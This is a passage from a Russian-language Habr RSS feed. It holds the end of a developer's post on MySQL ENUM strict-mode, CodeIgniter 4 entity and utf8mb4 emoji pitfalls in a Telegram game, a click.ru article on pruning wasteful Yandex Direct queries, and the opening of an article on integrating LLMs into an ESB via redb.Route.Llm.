src=https://habrastorage.org/r/w1560/getpro/habr//post_images/c6d/4d8/a52/c6d4d8a52fa4f926dae8d7894c0307ee.jpg alt=&#34;Часовой на блокпосту поднятой рукой заворачивает новичка с неправильным пропуском&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr//post_images/c6d/4d8/a52/c6d4d8a52fa4f926dae8d7894c0307ee.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr//post_images/c6d/4d8/a52/c6d4d8a52fa4f926dae8d7894c0307ee.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Часовой на блокпосту поднятой рукой заворачивает новичка с неправильным пропуском&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Эта история — про человека, которого я чуть не потерял на первой минуте.&lt;p&gt;В игру заходит совсем зелёный новичок. Ему всё непонятно: где база, как добывать, куда идти. И вот он делает свой самый первый осмысленный шаг — открывает экран базы. Игра в этот момент должна тихо записать в лог: «новичок открыл базу впервые» — это веха, по ней потом строится обучение. А вместо записи — красная ошибка прямо ему в лицо. На первой минуте. В мире, где он и так ничего не понимает.&lt;p&gt;Я этот сценарий поймал на аудите &lt;em&gt;до&lt;/em&gt; того, как он встретил живого человека. И похолодел. Потому что причина была идиотской: в лог-флаг я записал значение &lt;code&gt;done&lt;/code&gt;. Синоним &lt;code&gt;Completed&lt;/code&gt;, мелочь, рука сама набрала.&lt;p&gt;Локально тесты были зелёные. А прод бы упал:&lt;pre&gt;&lt;code&gt;Data truncated for column &amp;#39;action_status&amp;#39; at row 1&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Колонки со статусами (&lt;code&gt;Pending&lt;/code&gt;/&lt;code&gt;Completed&lt;/code&gt;/&lt;code&gt;Skipped&lt;/code&gt;, у задач &lt;code&gt;in_work&lt;/code&gt;/&lt;code&gt;completed&lt;/code&gt;) я сделал не &lt;code&gt;VARCHAR&lt;/code&gt;, а &lt;code&gt;ENUM&lt;/code&gt; — чтобы база сама стерегла инварианты. Но на проде включён &lt;code&gt;STRICT_TRANS_TABLES&lt;/code&gt;, и для &lt;code&gt;ENUM&lt;/code&gt; это значит буквально: любое внесписочное значение не «обрезается до пустого», а &lt;strong&gt;роняет весь запрос с исключением&lt;/strong&gt;. То есть не просто кривой флаг записался — упало бы всё действие игрока, частью которого был этот INSERT. Его первый шаг в мире.&lt;details class=spoiler&gt;&lt;summary&gt;В чём была ловушка&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;pre&gt;&lt;code class=sql&gt;action_status ENUM(&amp;#39;Pending&amp;#39;,&amp;#39;Completed&amp;#39;,&amp;#39;Skipped&amp;#39;) NOT NULL DEFAULT &amp;#39;Pending&amp;#39;&#xA;&#xA;-- прод (STRICT_TRANS_TABLES): валит весь INSERT&#xA;INSERT ... SET action_status = &amp;#39;done&amp;#39;;        -- Data truncated → Exception&#xA;&#xA;-- надо строго из списка&#xA;INSERT ... SET action_status = &amp;#39;Completed&amp;#39;;&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;А локально всё молчало просто потому, что у dev-сервера STRICT мог быть выключен — там &lt;code&gt;done&lt;/code&gt; тихо превратился бы в &lt;code&gt;&amp;#39;&amp;#39;&lt;/code&gt;. Классический «у меня работает», где разница не в коде, а в &lt;code&gt;sql_mode&lt;/code&gt; между машинами. С тех пор я отношусь к &lt;code&gt;ENUM&lt;/code&gt; как к вахтёру, который не пускает «почти подходящих»: записываю в такие колонки только строго из списка, а сами значения держу в коде константами — чтобы опечатка вылезла на этапе моих мыслей, а не в лицо новичку.&lt;p&gt;&lt;strong&gt;Урок:&lt;/strong&gt; &lt;code&gt;ENUM&lt;/code&gt; под &lt;code&gt;STRICT_TRANS_TABLES&lt;/code&gt; — не «мягкая подсказка», а жёсткий гейт: внесписочное значение валит запрос целиком. И всегда сверяйте &lt;code&gt;sql_mode&lt;/code&gt; между dev и прод. Половина «а у меня же работало» родом отсюда — и иногда ценой этому чей-то самый первый шаг в вашем мире.&lt;hr&gt;&lt;h3&gt;Грабля 4. Капитальный ремонт мотора на ходу: CI4 Entity, который притворяется массивом&lt;/h3&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr//post_images/cb0/943/390/cb0943390b3abbe0f52091966ce030cd.jpg alt=&#34;Механик чинит мотор движущегося грузовика, пассажиры едут в кузове&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr//post_images/cb0/943/390/cb0943390b3abbe0f52091966ce030cd.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr//post_images/cb0/943/390/cb0943390b3abbe0f52091966ce030cd.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Механик чинит мотор движущегося грузовика, пассажиры едут в кузове&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;А это не баг, а решение, которым я тихо горжусь. Но далось оно нервами.&lt;p&gt;Сердце игры — персонаж. Выживший. Всё вращается вокруг него. А в коде он начинался как тупой массив: &lt;code&gt;$character[&amp;#39;name&amp;#39;]&lt;/code&gt;, &lt;code&gt;$character[&amp;#39;health&amp;#39;]&lt;/code&gt; — тысячи таких обращений по всему проекту. Хотелось дать ему настоящую сущность: типизированные геттеры, методы прямо на объекте, нормальную инкапсуляцию. CI4 это умеет через &lt;code&gt;$returnType = CharacterEntity::class&lt;/code&gt;.&lt;p&gt;Одна беда: переписать тысячи &lt;code&gt;$char[&amp;#39;...&amp;#39;]&lt;/code&gt; на &lt;code&gt;$char-&amp;gt;...&lt;/code&gt; за раз — это поставить мир на паузу. А его нельзя ставить на паузу. Прямо сейчас, пока я думаю об этом рефакторинге, по карте идут живые люди. Налог капает. Бои считаются. Останови двигатель — и кто-то посреди похода упрётся в ошибку.&lt;p&gt;Поэтому мотор пришлось чинить на ходу. Сущность, которая одновременно ведёт себя как массив:&lt;details class=spoiler&gt;&lt;summary&gt;Entity + ArrayAccess&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;pre&gt;&lt;code class=php&gt;class CharacterModel extends Model&#xA;{&#xA;    protected $returnType = CharacterEntity::class;&#xA;}&#xA;&#xA;// CharacterEntity подключает трейт с ArrayAccess →&#xA;// старый $char[&amp;#39;name&amp;#39;] и новый $char-&amp;gt;name работают оба&#xA;$char = $characterModel-&amp;gt;find($id);&#xA;$char[&amp;#39;health&amp;#39;];   // легаси-код жив&#xA;$char-&amp;gt;health;     // новый код&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;Старый код не сломался, новый поехал на сущностях, а миграция шла файл за файлом, без большого взрыва. Пассажиры даже не заметили, что под капотом поменяли половину мотора. Вот за такие моменты я и люблю это дело.&lt;p&gt;Цена — статический анализ, и тут буду честен. «PHPStan L9 без ошибок» у меня означает L9 с управляемым baseline на легаси, который я планомерно сокращаю. Новый код пишется уже под чистый L9: сигнатуры стали &lt;code&gt;array|CharacterEntity&lt;/code&gt;, и анализатор справедливо требует на каждом шаге доказать, с чем имеешь дело. Зануда? Да. Но когда сьют из &lt;strong&gt;1508&lt;/strong&gt; тестов и PHPStan в один голос говорят «No errors», я точно знаю, что переезд не протащил ни одной тихой регрессии в мир, где люди прямо сейчас живут. За это не жалко повозиться с union-типами.&lt;p&gt;&lt;strong&gt;Урок:&lt;/strong&gt; &lt;code&gt;ArrayAccess&lt;/code&gt; на сущности — отличный мост, чтобы мигрировать легаси, не останавливая прод. Только заранее прими: union &lt;code&gt;array|Entity&lt;/code&gt; ты будешь доказывать статанализатору ещё долго. Это честная плата за то, что никто из игроков не упёрся в ошибку, пока я перебирал движок.&lt;hr&gt;&lt;h3&gt;Грабля 5. Эмодзи, у которого вынули душу: utf8 в MySQL — это не то, что вы думаете&lt;/h3&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr//post_images/36f/b4d/a98/36fb4da98c56a7d8ff732f2e786df1dc.jpg alt=&#34;Яркая плитка-символ протискивается в узкую щель и выходит с другой стороны выскобленной добела&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr//post_images/36f/b4d/a98/36fb4da98c56a7d8ff732f2e786df1dc.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr//post_images/36f/b4d/a98/36fb4da98c56a7d8ff732f2e786df1dc.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Яркая плитка-символ протискивается в узкую щель и выходит с другой стороны выскобленной добела&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Мир у меня текстовый. Никакой графики — только буквы и эмодзи. Карта нарисована эмодзи. Огонь — &lt;code&gt;🔥&lt;/code&gt;, бой — &lt;code&gt;⚔️&lt;/code&gt;, заброшенный бункер — &lt;code&gt;🏚&lt;/code&gt;. Эти крошечные пиктограммы и есть лицо игры, её «найденная фотоплёнка». И вот накатываю порцию контента, открываю в Telegram — а половина иконок превратилась в &lt;code&gt;?&lt;/code&gt;.&lt;p&gt;Причём не все. &lt;code&gt;—&lt;/code&gt;, кавычки-ёлочки, вся кириллица — на месте. А эмодзи — в знак вопроса. Как будто из мира выскоблили ровно ту часть, в которую я вкладывал характер.&lt;p&gt;Разгадка в том, что &lt;code&gt;utf8&lt;/code&gt; в MySQL — это не настоящий UTF-8. Исторический &lt;code&gt;utf8&lt;/code&gt; (он же &lt;code&gt;utf8mb3&lt;/code&gt;) хранит максимум &lt;strong&gt;3 байта&lt;/strong&gt; на символ. Кириллица и типографика в три байта влезают. А эмодзи четырёхбайтные — не влезают, и молча режутся в &lt;code&gt;?&lt;/code&gt;. Душу — за борт, тихо, без единого warning.&lt;p&gt;Коварство именно в «частично»: глазами по тексту всё правильно (тире на месте, буквы на месте), ломаются только картинки. SQL-проверкой «совпадает ли строка» баг не ловится — ловит только реальный рендер в чате у игрока.&lt;details class=spoiler&gt;&lt;summary&gt;Фикс и подводные камни&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;pre&gt;&lt;code class=sql&gt;-- было: колонка в utf8mb3 (он же исторический &amp;#34;utf8&amp;#34;)&#xA;ALTER TABLE tips CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;&#xA;-- utf8mb4 = настоящий 4-байтный UTF-8, эмодзи влезают&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Две оговорки, чтобы не наступить рядом:&lt;ul&gt;&lt;li&gt;&lt;p&gt;На MySQL 8.0 &lt;code&gt;utf8&lt;/code&gt; пока всё ещё алиас &lt;code&gt;utf8mb3&lt;/code&gt; (с депрекейшеном), так что «utf8 = utf8mb3» — это про старые версии и MariaDB; на свежих дефолт уже &lt;code&gt;utf8mb4&lt;/code&gt;.&lt;li&gt;&lt;p&gt;При &lt;code&gt;CONVERT TO ... utf8mb4&lt;/code&gt; длинные &lt;code&gt;VARCHAR&lt;/code&gt; под индексом могут упереться в лимит длины ключа (767/3072 байта) — проверьте схему до миграции.&lt;/ul&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;&lt;strong&gt;Урок:&lt;/strong&gt; есть эмодзи в данных (а в Telegram-боте они везде) — колонка обязана быть &lt;code&gt;utf8mb4&lt;/code&gt;, не &lt;code&gt;utf8&lt;/code&gt;. И проверять надо не SQL-сравнением, а тем, как символ реально доезжает до человека на том конце. Мир чуть не остался без половины своего лица.&lt;hr&gt;&lt;h3&gt;Что в сухом остатке&lt;/h3&gt;&lt;p&gt;Ни одна из этих граблей не лечится чтением документации вперёд. Они вылезают, только когда система живая: когда по ту сторону экрана не тест-кейс, а человек, который злится, радуется, бросает и возвращается. &lt;strong&gt;55&lt;/strong&gt; task-хендлеров, &lt;strong&gt;238&lt;/strong&gt; экранов, &lt;strong&gt;323&lt;/strong&gt; миграции, строгий PHPStan — это всё не ради красивых цифр в резюме. Это ради того, чтобы у новичка не взорвался первый шаг, чтобы стрик запомнил верного, чтобы эмодзи доехало живым.&lt;p&gt;CodeIgniter 4 в этой истории — честный рабочий конь: не мешает, даёт двигаться быстро, а грабли в основном там, где я сам срезал угол по ночам. Знать про них заранее полезно — поэтому и пишу.&lt;p&gt;А держусь я за всё это вот почему. Иногда читаешь логи, а там кто-то в общем чате спрашивает: «а как зайти на базу?» И ты вдруг понимаешь, что по ту сторону твоих &lt;code&gt;WHERE&lt;/code&gt; и &lt;code&gt;ENUM&lt;/code&gt; — живой человек, который сейчас стоит посреди твоего выдуманного постапокалипсиса и пытается выжить. Ради этого ощущения и пилишь два года в одиночку.&lt;p&gt;Если интересно посмотреть, как это живёт: бот — &lt;a href=https://t.me/wildworldrpg_bot rel=&#34;noopener noreferrer nofollow&#34;&gt;@wildworldrpg_bot&lt;/a&gt;. Максимальный уровень у выжившего сейчас &lt;strong&gt;201&lt;/strong&gt; — так что место в рейтинге пока есть.&lt;p&gt;В следующей статье разберу боевую часть: как текстовый бой считается из «оружие + броня + RNG + события» и почему я в итоге залогировал каждую переменную боя — чтобы не отвечать игрокам «ну там рандом». Если тема зайдёт — накидайте в комментариях, во что из кишок игры копнуть интереснее.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>dron88</author>
      <guid>https://habr.com/ru/articles/1046251/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046251</guid>
      <pubDate>Wed, 10 Jun 2026 20:47:24 +0000</pubDate>
    </item>
    <item>
      <title>Как за 15 минут найти запросы, которые тихо сливают бюджет в Яндекс Директе</title>
      <link>https://habr.com/ru/companies/click/articles/1046243/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046243</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Есть тип рекламных кампаний, который сложно сразу распознать. На первый взгляд все выглядит стабильно: показы идут, клики есть, CTR не падает. Но стоимость заявки медленно растет. Не в два раза за день, а хуже. На 5–10% каждую неделю. Настолько плавно, что увеличение легко списать на сезонность, рост ставок или конкуренцию. При этом все больше и больше денег тратится впустую.&lt;p&gt;Рассказали в статье:&lt;ul&gt;&lt;li&gt;&lt;p&gt;в чем причины такого явления;&lt;li&gt;&lt;p&gt;как быстро избавиться от лишних запросов с помощью &lt;a href=&#34;https://click.ru/tools/request_clustering.html?utm_source=habr-external_article&amp;amp;utm_medium=cpp&amp;amp;utm_campaign=cn:kak_za_15_minut_najti_zaprosy_kotorye_tiho_slivayut_byudzhet_v_yandeks_direkte&amp;amp;utm_content=kak_za_15_minut_najti_zaprosy_kotorye_tiho_slivayut_byudzhet_v_yandeks_direkte&amp;amp;utm_mrkt=srcn:habr%7Csrct:external_article%7Ccst:cpp%7Ccn:kak_za_15_minut_najti_zaprosy_kotorye_tiho_slivayut_byudzhet_v_yandeks_direkte%7Cresp:mrkt_click%7Cdir:cc%7Cch:direct%7Cchgr:referral%7Chst:click%7Cprod:instr%7Cgeo:rf%7Cemp:aav&#34;&gt;«Кластеризации запросов»&lt;/a&gt;. &lt;/ul&gt;&lt;p&gt;В чем причина роста стоимости заявки&lt;p&gt;В подобную ситуацию часто попадают агентства и фрилансеры, которые активно работают в Яндекс Директе. Особенно, если кампании запущены давно, а семантика все время расширяется.&lt;p&gt;Во многих случаях причина не в стратегии или креативах, а в поисковых запросах, которые постепенно начинают размывать трафик.&lt;p&gt;Разберем типовую ситуацию на примере. Представитель интернет-магазина мебели запускает рекламу по запросам:&lt;ul&gt;&lt;li&gt;&lt;p&gt;«купить диван»;&lt;li&gt;&lt;p&gt;«диван недорого»;&lt;li&gt;&lt;p&gt;«угловой диван москва».&lt;/ul&gt;&lt;p&gt;Постепенно Яндекс начинает подтягивать близкие по смыслу формулировки:&lt;ul&gt;&lt;li&gt;&lt;p&gt;«диван своими руками»;&lt;li&gt;&lt;p&gt;«чертеж дивана»;&lt;li&gt;&lt;p&gt;«бу диван»;&lt;li&gt;&lt;p&gt;«как сделать диван».&lt;li&gt;&lt;p&gt;«диван бесплатно».&lt;/ul&gt;&lt;p&gt;Кликов становится больше, CTR остается в пределах нормы, но конверсии по таким запросам почти нулевые. Проблема в том, что почистить неконверсионные запросы вручную достаточно трудозатратно. Особенно если кампаний много, а поисковых запросов — тысячи.&lt;h3&gt;Как быстро избавиться от лишних запросов&lt;/h3&gt;&lt;p&gt;Чтобы быстро почистить семантическое ядро, можно применить инструмент &lt;a href=&#34;https://click.ru/tools/request_clustering.html?utm_source=habr-external_article&amp;amp;utm_medium=cpp&amp;amp;utm_campaign=cn:kak_za_15_minut_najti_zaprosy_kotorye_tiho_slivayut_byudzhet_v_yandeks_direkte&amp;amp;utm_content=kak_za_15_minut_najti_zaprosy_kotorye_tiho_slivayut_byudzhet_v_yandeks_direkte&amp;amp;utm_mrkt=srcn:habr%7Csrct:external_article%7Ccst:cpp%7Ccn:kak_za_15_minut_najti_zaprosy_kotorye_tiho_slivayut_byudzhet_v_yandeks_direkte%7Cresp:mrkt_click%7Cdir:cc%7Cch:direct%7Cchgr:referral%7Chst:click%7Cprod:instr%7Cgeo:rf%7Cemp:aav&#34;&gt;«Кластеризация запросов»&lt;/a&gt; от &lt;a href=http://click.ru&gt;click.ru&lt;/a&gt;.&lt;p&gt;Разберем на примере, как может выглядеть процесс. &lt;p&gt;Директолог Иван Иванов продвигал интернет-магазин мебели. Сначала он выгрузил поисковые запросы за 30 дней. В полученном отчете отсортировал фразы по количеству кликов или расходам. Он нашел слова, которые не принесли конверсий или имели низкий CTR &amp;lt; 1,5%, а потом сгруппировал их по смысловым блокам. Иван хотел быстро разделить запросы по реальному интенту пользователя.&lt;p&gt;Например, «купить диван», «диван цена», «диван доставка» — это коммерческие запросы. А вот «диван своими руками», «чертеж дивана», «как собрать диван» — уже информационные, которые в большинстве коммерческих кампаний только расходуют бюджет впустую. Вручную такие запросы легко пропустить. Особенно когда их десятки тысяч.&lt;p&gt;Чтобы сгруппировать запросы, Иван применил инструмент &lt;a href=&#34;https://click.ru/tools/request_clustering.html?utm_source=habr-external_article&amp;amp;utm_medium=cpp&amp;amp;utm_campaign=cn:kak_za_15_minut_najti_zaprosy_kotorye_tiho_slivayut_byudzhet_v_yandeks_direkte&amp;amp;utm_content=kak_za_15_minut_najti_zaprosy_kotorye_tiho_slivayut_byudzhet_v_yandeks_direkte&amp;amp;utm_mrkt=srcn:habr%7Csrct:external_article%7Ccst:cpp%7Ccn:kak_za_15_minut_najti_zaprosy_kotorye_tiho_slivayut_byudzhet_v_yandeks_direkte%7Cresp:mrkt_click%7Cdir:cc%7Cch:direct%7Cchgr:referral%7Chst:click%7Cprod:instr%7Cgeo:rf%7Cemp:aav&#34;&gt;«Кластеризация запросов»&lt;/a&gt;. Сначала он загрузил список запросов.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a0b/f68/c2c/a0bf68c2c8438d990adb451a58885583.png width=1119 height=759 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a0b/f68/c2c/a0bf68c2c8438d990adb451a58885583.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a0b/f68/c2c/a0bf68c2c8438d990adb451a58885583.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Потом выбрал поисковую систему и задал точность.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/b23/362/611/b233626112ae8e037479eb923993d950.png width=1258 height=651 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/b23/362/611/b233626112ae8e037479eb923993d950.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/b23/362/611/b233626112ae8e037479eb923993d950.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;И вот что он получил: &lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/6e1/05f/b39/6e105fb396819db81528c3730cbc06e9.png width=1687 height=749 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/6e1/05f/b39/6e105fb396819db81528c3730cbc06e9.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/6e1/05f/b39/6e105fb396819db81528c3730cbc06e9.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Информационные запросы можно исключать. Как оказалось, их не мало. Некорректная семантика — одна из причин, почему старые кампании со временем начинают работать хуже даже без резких изменений на рынке. После такой чистки стоимость заявки вполне способна вернуться к прежним значениям.&lt;h3&gt;Что можно проверить прямо сейчас за 15 минут&lt;/h3&gt;&lt;p&gt;Подготовили мини-чеклист, который поможет быстро оптимизировать кампанию. &lt;p&gt;1. Выгружаем поисковые запросы за последние 30 дней.&lt;p&gt;2. Сортируем их по расходу.&lt;p&gt;3. Находим фразы без конверсий.&lt;p&gt;4. Отдельно проверяем запросы с информационным интентом:&lt;ul&gt;&lt;li&gt;&lt;p&gt;«как»;&lt;li&gt;&lt;p&gt;«что это»;&lt;li&gt;&lt;p&gt;«бесплатно»;&lt;li&gt;&lt;p&gt;«своими руками»;&lt;li&gt;&lt;p&gt;«отзывы». &lt;/ul&gt;&lt;p&gt;5. Группируем запросы по смыслу через инструмент &lt;a href=&#34;https://click.ru/tools/request_clustering.html?utm_source=habr-external_article&amp;amp;utm_medium=cpp&amp;amp;utm_campaign=cn:kak_za_15_minut_najti_zaprosy_kotorye_tiho_slivayut_byudzhet_v_yandeks_direkte&amp;amp;utm_content=kak_za_15_minut_najti_zaprosy_kotorye_tiho_slivayut_byudzhet_v_yandeks_direkte&amp;amp;utm_mrkt=srcn:habr%7Csrct:external_article%7Ccst:cpp%7Ccn:kak_za_15_minut_najti_zaprosy_kotorye_tiho_slivayut_byudzhet_v_yandeks_direkte%7Cresp:mrkt_click%7Cdir:cc%7Cch:direct%7Cchgr:referral%7Chst:click%7Cprod:instr%7Cgeo:rf%7Cemp:aav&#34;&gt;«Кластеризация запросов»&lt;/a&gt;.&lt;p&gt;6. Добавляем явно лишние фразы в список минус-слов.&lt;p&gt;7. Сравниваем CPA через 1–2 недели.&lt;p&gt;Очень часто при первой чистке можно найти запросы, на которые незаметно тратилось 10–20% бюджета. Иногда даже один час работы с семантикой может быть эффективнее тестов новых оферов и креативов.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/click/articles/1046243/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046243</guid>
      <pubDate>Wed, 10 Jun 2026 20:35:14 +0000</pubDate>
    </item>
    <item>
      <title>Интеграция ИИ уровня предприятия: встраивание LLM в бизнес-процессы крупных компаний — redb.Route.Llm 3.1.1</title>
      <link>https://habr.com/ru/articles/1046237/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046237</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/319/45b/fc0/31945bfc082f420552315d68f59b3ba7.png alt=&#34;redb.route llm&#34; title=&#34;redb.route llm&#34; width=659 height=797 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/319/45b/fc0/31945bfc082f420552315d68f59b3ba7.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/319/45b/fc0/31945bfc082f420552315d68f59b3ba7.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;redb.route llm&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Серия:&lt;/strong&gt; redb ecosystem (часть 2 к LLM-анонсу)&lt;p&gt;В &lt;a href=https://habr.com/ru/articles/1045356/ rel=&#34;noopener noreferrer nofollow&#34;&gt;предыдущей статье&lt;/a&gt; я анонсировал &lt;code&gt;redb.Route.Llm&lt;/code&gt; как 24-й транспорт &lt;code&gt;redb.Route&lt;/code&gt; — мы делали LLM ещё одним endpoint&amp;#39;ом наравне с Kafka, RabbitMQ и HTTP, чтобы выкинуть отдельную «AI-инфраструктуру», стоящую рядом с интеграционной. Заодно я повесил в конец статьи &lt;strong&gt;«честный skip-list»&lt;/strong&gt; — список того, что в 3.1.0 ещё не доделано: streaming, ToolCacheStore, KnowledgeStore, BatchStore, EvalRunStore, sliding-window память, sandbox-инструменты.&lt;p&gt;Из этого skip-list&amp;#39;а делано больше, чем я планировал. Но не это главное. Главное — что в процессе доделывания обнаружилась настоящая ценность всей затеи: &lt;strong&gt;LLM-транспорт оказался не очередным чат-фреймворком, а недостающим звеном в ESB, после которого «бизнес-агент в проде» перестаёт быть отдельным проектом&lt;/strong&gt;. Эта статья — про то, как чат-демо превращается в enterprise-агентскую платформу, не переписываясь и не превращаясь в «AI-монолит сбоку».&lt;p&gt;Всё, что ниже — реальный код из репозитория, не псевдокод. Ссылки на демо-маршруты в конце.&lt;blockquote&gt;&lt;p&gt;Это вторая часть серии про &lt;code&gt;redb.Route.Llm&lt;/code&gt;. Первая часть — здесь:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/ru/articles/1045356/ rel=&#34;noopener noreferrer nofollow&#34;&gt;redb.Route 3.1.0 — LLM как ещё один транспорт: &lt;code&gt;.To(&amp;#34;llm://claude&amp;#34;)&lt;/code&gt; и &lt;code&gt;.AsLlmTool()&lt;/code&gt;&lt;/a&gt;&lt;/ul&gt;&lt;p&gt;Контекст серии redb.Route целиком:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/ru/articles/1042392/ rel=&#34;noopener noreferrer nofollow&#34;&gt;redb.Route — Apache Camel для .NET&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/ru/articles/1042872/ rel=&#34;noopener noreferrer nofollow&#34;&gt;redb.Route изнутри: четыре in-memory канала и Exchange&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/ru/articles/1043332/ rel=&#34;noopener noreferrer nofollow&#34;&gt;redb.Route 3.0.1 — плоская навигация по DSL, рефакторинг CRTP и тихий null&lt;/a&gt;&lt;/ul&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Маленькая ремарка про EIP.&lt;/strong&gt; В этой статье я многократно опираюсь на Enterprise Integration Patterns — &lt;code&gt;Multicast&lt;/code&gt;, &lt;code&gt;Aggregator&lt;/code&gt;, &lt;code&gt;Scatter-Gather&lt;/code&gt;, &lt;code&gt;Wire-Tap&lt;/code&gt;, &lt;code&gt;Choice&lt;/code&gt;, &lt;code&gt;Aggregate-by-window&lt;/code&gt; — не разбирая каждый из них подробно. Это сознательный выбор: статей серии «EIP в .NET через redb.Route» с детальным разбором каждого паттерна (с диаграммами, кодом и сравнениями) ещё не вышло, я их пишу параллельно. Здесь я немного забегаю вперёд.&lt;p&gt;Если вы работали с &lt;strong&gt;Apache Camel&lt;/strong&gt; или &lt;strong&gt;WSO2 Micro Integrator&lt;/strong&gt; — узнаете паттерны на ходу, имена и семантика идентичны. Я сам много лет писал и поддерживал интеграционные проекты на WSO2 MI (и ESB-предке), архитектурно &lt;code&gt;redb.Route&lt;/code&gt; ближе всё-таки к Camel — компилируемая DSL поверх типизированного Exchange, а не XML-конфиг. Сопоставления «Camel ↔ redb.Route» и «WSO2 MI ↔ redb.Route» — это отдельные большие статьи, тоже в работе. Если что-то по EIP-части в коде ниже окажется непонятным, спрашивайте в комментариях — отвечу сразу, заодно соберу материал для тех самых будущих статей.&lt;/blockquote&gt;&lt;hr&gt;&lt;h3&gt;Чем это всё отличается от «ещё одного агентского фреймворка»&lt;/h3&gt;&lt;p&gt;В индустрии много инструментов, которые делают LLM-tool-use из коробки: LangChain, langchain4j, Semantic Kernel, AutoGen, LlamaIndex и десятки нишевых. Все они решают &lt;strong&gt;одну проблему&lt;/strong&gt;: «как у меня модель будет вызывать функции и помнить разговор». И все они оставляют решать вам 